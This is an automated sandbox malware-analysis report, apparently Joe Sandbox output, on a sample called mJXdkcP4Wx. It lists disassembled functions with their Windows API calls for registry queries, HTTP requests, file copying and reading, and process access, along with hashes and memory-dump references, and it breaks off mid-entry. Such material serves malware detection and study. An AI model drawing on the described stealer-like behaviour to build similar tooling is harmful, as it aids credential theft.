Opcode ID: 33bb1e120011f456fd0d00ec002cc8eb811bbe50be437bcb910910415e41be60
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 33bb1e120011f456fd0d00ec002cc8eb811bbe50be437bcb910910415e41be60
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 022C4A17 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A51
??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A68
??2@YAPAXI@Z.MSVCRT(00000800), ref: 022C4A7F
lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 022C4AA0
InternetCrackUrlA.WININET(00000000,00000000), ref: 022C4AB0

Strings

<, xrefs: 022C4A30

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c4016b40be7962ab96eee41e1f0a74c78e609d749f91f5b1f2864e454020d9f4
Instruction ID: 234a53811bea5a20c2d795ff0bc65c058d58e4d0b100df90bd252466c4027478
Opcode Fuzzy Hash: c4016b40be7962ab96eee41e1f0a74c78e609d749f91f5b1f2864e454020d9f4
Instruction Fuzzy Hash: CF2158B5D00219ABDF10DFA4E849AED7B75FF04320F108229F965AB290EB706A05CF91

Function 022D78F7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 022D790B
RtlAllocateHeap.NTDLL(00000000), ref: 022D7912
RegOpenKeyExA.ADVAPI32(80000002,0064A398,00000000,00020119,00000000), ref: 022D7944
RegQueryValueExA.ADVAPI32(00000000,0064A434,00000000,00000000,?,000000FF), ref: 022D7965
RegCloseKey.ADVAPI32(00000000), ref: 022D796F

Strings

Windows 11, xrefs: 022D7924

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 12f4d9cac376aa0c841d81b3b397fe37f33113f2abcb6f12714f1e58605ed220
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: 91012CB9A80205BBEB10DBE0DD49FADB7B9EB48701F109154BA0596284D6789900CB51

Function 00417690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.ADVAPI32(80000002,00795890,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.ADVAPI32(00000000,00799778,00000000,00000000,?,000000FF), ref: 004176FE
RegCloseKey.ADVAPI32(00000000), ref: 00417708

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.ADVAPI32(80000002,00795890,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.ADVAPI32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A
RegCloseKey.ADVAPI32(004176B9), ref: 00417784

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 004192E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413AEE,?), ref: 004192FC
GetFileSizeEx.KERNEL32(000000FF,:A), ref: 00419319
CloseHandle.KERNEL32(000000FF), ref: 00419327

Strings

:A, xrefs: 00419311, 0041933D, 00419314
:A, xrefs: 004192F8, 004192FB

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :A$:A
API String ID: 1378416451-1974578005
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: 8914ec7bfe49e7fff428ea2f0c8e17c8fee3bdc60d16e88834f62bd89b6794de
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: 14F03C39E80208BBDB20DFF0DC59BDE77BAAB48710F108254FA61A72C0D6789A418B45

Function 022C7537 Relevance: 9.1, APIs: 6, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 022C75A1
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 022C7618
StrStrA.SHLWAPI(00000000,004217EC,00000000), ref: 022C7674
GetProcessHeap.KERNEL32(00000000,?), ref: 022C76B9
HeapFree.KERNEL32(00000000), ref: 022C76C0

Part of subcall function 022C94A7: vsprintf_s.MSVCRT ref: 022C94C2

task.LIBCPMTD ref: 022C77BC

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetaskvsprintf_s
String ID:
API String ID: 700816787-0
Opcode ID: 5434392e867cfe8b65d60c30634320f59bf744a663cfea390a94abfc30077dd7
Instruction ID: 9232acfccf036aecaeebdebe8db97f31d86f336d2e10cd86951b4d8df1e6ef65
Opcode Fuzzy Hash: 5434392e867cfe8b65d60c30634320f59bf744a663cfea390a94abfc30077dd7
Instruction Fuzzy Hash: 98612DB591026C9BDB25DB90CC44FE9B7BDBF44300F1082E9E689A6148DBB05BC9CF95

Function 022D5527 Relevance: 9.1, APIs: 6, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022C64E7: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 022C6548
Part of subcall function 022C64E7: StrCmpCA.SHLWAPI(?,0064A480), ref: 022C656A
Part of subcall function 022C64E7: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 022C659C
Part of subcall function 022C64E7: HttpOpenRequestA.WININET(00000000,00421A28,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 022C65EC
Part of subcall function 022C64E7: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 022C6626
Part of subcall function 022C64E7: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 022C6638

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

StrCmpCA.SHLWAPI(00000000,0042109C,00000000), ref: 022D557F
lstrlen.KERNEL32(00000000), ref: 022D5596

Part of subcall function 022D9097: LocalAlloc.KERNEL32(00000040,-00000001), ref: 022D90B9

StrStrA.SHLWAPI(00000000,00000000), ref: 022D55CB
lstrlen.KERNEL32(00000000), ref: 022D55EA
strtok.MSVCRT(00000000,?), ref: 022D5605
lstrlen.KERNEL32(00000000), ref: 022D5615

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID:
API String ID: 3532888709-0
Opcode ID: ea37f877b7fbbacf1c7384582398939b25ca2f08c2eb8411cf358fbfa571aba2
Instruction ID: 68ecdfb5b74506e8455de4ac8ce59cce2ff07938269071fc3bc905a0bcd29a07
Opcode Fuzzy Hash: ea37f877b7fbbacf1c7384582398939b25ca2f08c2eb8411cf358fbfa571aba2
Instruction Fuzzy Hash: F2510A709203489BCB28FFE4CE95EED7776AF10300F944128E80A66598DF786B45CF51

Function 022D7337 Relevance: 9.1, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 022D7345

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

OpenProcess.KERNEL32(001FFFFF,00000000,022D7574,004205BD), ref: 022D7383
memset.MSVCRT ref: 022D73D1
??_V@YAXPAX@Z.MSVCRT(?), ref: 022D7525

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID:
API String ID: 224852652-0
Opcode ID: 1aeff6b0bc1cdda16161dcd1e0d48fd3adfd470a7707b0dabfde7a46d1ab6f7a
Instruction ID: 23231c748aca87a2665192176df003d4ac8e2b60e4bcc6cdbfa40daaac92382e
Opcode Fuzzy Hash: 1aeff6b0bc1cdda16161dcd1e0d48fd3adfd470a7707b0dabfde7a46d1ab6f7a
Instruction Fuzzy Hash: 72518FB0C203199BDB24DBE4DC84FEDF775AF44305F5081A9E605A7184DB786A84CF59

Function 022D4317 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 022D433C
RegOpenKeyExA.ADVAPI32(80000001,0064A4D8,00000000,00020119,?), ref: 022D435B
RegQueryValueExA.ADVAPI32(?,0064A0D4,00000000,00000000,00000000,000000FF), ref: 022D437F
RegCloseKey.ADVAPI32(?), ref: 022D4389
lstrcat.KERNEL32(?,00000000), ref: 022D43AE
lstrcat.KERNEL32(?,0064A168), ref: 022D43C2

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 5690b8b16156ff116e39c423b9c20f7378d9982cb7fd98343760b82f2f9cb978
Instruction ID: 71a3bdf87d741c963cda8206cffe5f162004daece1fa3c382b41da527270d3fe
Opcode Fuzzy Hash: 5690b8b16156ff116e39c423b9c20f7378d9982cb7fd98343760b82f2f9cb978
Instruction Fuzzy Hash: 914187B69502087BDB14FBE0DC46FEE737EAB49300F00465CA61957184EA759798CFE2

Function 004140B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.ADVAPI32(80000001,00799AE0,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,0079ABD0,00000000,00000000,00000000,000000FF), ref: 00414118
RegCloseKey.ADVAPI32(?), ref: 00414122
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,0079AAB0), ref: 0041415B

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bc2d94edd70f49bf8f62656b9ca3487d8b5429edb2de975fb07ca5a133c360a1
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: bc2d94edd70f49bf8f62656b9ca3487d8b5429edb2de975fb07ca5a133c360a1
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00413560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413588

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

strtok_s.MSVCRT ref: 004136D1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00792F70,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: dbbd9b12a914175184af0c3d7732a4fa56912c4259726abfbaa9763b1c27244b
Instruction ID: 1d6e97e2126c91d023f3aa3275f065f217875d3b7f18f669bcfd2096c4fc0c60
Opcode Fuzzy Hash: dbbd9b12a914175184af0c3d7732a4fa56912c4259726abfbaa9763b1c27244b
Instruction Fuzzy Hash: C34191B1D00108EFCB04EFE5D945AEEB7B4BF44308F00801EE41676291DB789A56CFAA

Function 022CA4C7 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

Part of subcall function 022D8DC7: GetSystemTime.KERNEL32(00420E1A,xJy,004205AE,?,?,022C1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FBC,00420E17), ref: 022D8DED

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 022CA548
lstrlen.KERNEL32(00000000,00000000), ref: 022CA666
lstrlen.KERNEL32(00000000), ref: 022CA923

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Part of subcall function 022CA077: memcmp.MSVCRT(?,00421264,00000003), ref: 022CA094

DeleteFileA.KERNEL32(00000000), ref: 022CA9AA

Strings

ay, xrefs: 022CA581, 022CA586

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID: ay
API String ID: 257331557-2970486754
Opcode ID: 725788eba44463d4c513e2756b6ea09236ad55c473157db14b89c348e9807f7b
Instruction ID: 796c62f6f92bde2cf6ea2ce81806aef95fe6b9aaf45c46bed1336c7533e9e8e6
Opcode Fuzzy Hash: 725788eba44463d4c513e2756b6ea09236ad55c473157db14b89c348e9807f7b
Instruction Fuzzy Hash: E4E1F0729203189BCB18FBE4DD91DEEB33AAF24300F548659E156B2194EF346B48CF61

Function 0040A260 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,00794A78,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Strings

ay, xrefs: 0040A31A

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID: ay
API String ID: 257331557-2970486754
Opcode ID: 187ffd4c9462aa23556ef9b5443141304392004e6ff5cea6192e155308f1c96e
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: 187ffd4c9462aa23556ef9b5443141304392004e6ff5cea6192e155308f1c96e
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0041B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B39A

Part of subcall function 0041AFAC: __mtinitlocknum.LIBCMT ref: 0041AFC2
Part of subcall function 0041AFAC: __amsg_exit.LIBCMT ref: 0041AFCE
Part of subcall function 0041AFAC: EnterCriticalSection.KERNEL32(?,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041AFD6

DecodePointer.KERNEL32(0042A138,00000020,0041B4DD,?,00000001,00000000,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E), ref: 0041B3D6
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B3E7

Part of subcall function 0041BE35: EncodePointer.KERNEL32(00000000,0041C063,004495B8,00000314,00000000,?,?,?,?,?,0041B707,004495B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041BE37

DecodePointer.KERNEL32(-00000004,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B40D
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B420
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0F8,0000000C,0041AC2A), ref: 0041B42A

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 430bce5bb079d1d45eb37588782b3a2619b50b5e0611126e08e4fa3877c2895d
Instruction ID: fa90de3286715eaa6817e9c79d9293911763414a7997c4368e9d4f64dee3ff46
Opcode Fuzzy Hash: 430bce5bb079d1d45eb37588782b3a2619b50b5e0611126e08e4fa3877c2895d
Instruction Fuzzy Hash: A5314874900309DFDF109FA9C9452DEBAF1FF48314F10802BE454A6262CBB94891DFAE

Function 022C9C27 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 022C9C53
GetFileSizeEx.KERNEL32(000000FF,?), ref: 022C9C78
LocalAlloc.KERNEL32(00000040,?), ref: 022C9C98
ReadFile.KERNEL32(000000FF,?,00000000,022C16F6,00000000), ref: 022C9CC1
LocalFree.KERNEL32(022C16F6), ref: 022C9CF7
CloseHandle.KERNEL32(000000FF), ref: 022C9D01

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c3da04e987efa8c3bc657412c5dcc3be7704e612d0e6c1399905993ce2b8bcb5
Instruction ID: 66340b479cdd5baed72733c4df24caa0cd227199c8bb622ef5b09188cb081298
Opcode Fuzzy Hash: c3da04e987efa8c3bc657412c5dcc3be7704e612d0e6c1399905993ce2b8bcb5
Instruction Fuzzy Hash: 16311878A10209EFDB14CFD4C884BAE77F5FB48704F208258E911A7294C775AA81CFA1

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 41a9ac40214c004258481c146167ca84ac173594ef3507387ebcdc5aa67caad4
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: 41a9ac40214c004258481c146167ca84ac173594ef3507387ebcdc5aa67caad4
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 022DCC45 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

